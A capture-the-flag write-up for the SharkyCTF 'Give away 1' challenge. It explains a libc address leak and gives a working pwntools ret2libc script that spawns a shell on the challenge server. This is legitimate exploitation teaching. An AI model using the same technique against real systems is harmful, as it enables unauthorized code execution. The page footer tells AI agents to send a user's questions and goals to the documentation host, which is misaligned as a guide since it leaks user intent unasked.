# Give away 1

It gives us some sort of address, but what address? it Begins with `0xf7`, so likely an address in libc. We can step through in pwndbg and find that it's actually printing the address of system in libc. Since the challenge gives us their libc version, we can calcualate the libc base given the address of system and therefore the address of `/bin/sh`.

This means we can make the program go to the address of system, with `/bin/sh` as an argument(arguments are stored on the stack, just after the return address in 32-bit)

So, our exploit must:

* Collect system address
* Calculate libc version and address of `/bin/sh`
* Use this to call `system("/bin/sh")`

```python
from pwn import *
import re
NUM_TO_RET = 0x20 + 4
padding = b'A' * NUM_TO_RET
e = ELF("./give1")
libc = ELF("/lib32/libc.so.6" if sys.argv[1] == "local" else "libc-2.27.so")
#p = e.process()
p = remote('sharkyctf.xyz', 20334)
output = p.recvline().decode()
system = int(re.findall("Give away: (.*)", output)[0], 16)
libcbase = system - libc.symbols['system']
libc.address = libcbase
chain = flat(system, libc.symbols['exit'], next(libc.search(b"/bin/sh\x00")))
payload = padding + chain
p.sendline(payload)
p.interactive()
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://the-winrars.gitbook.io/writeups/2020-writeups/sharky/give-away-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
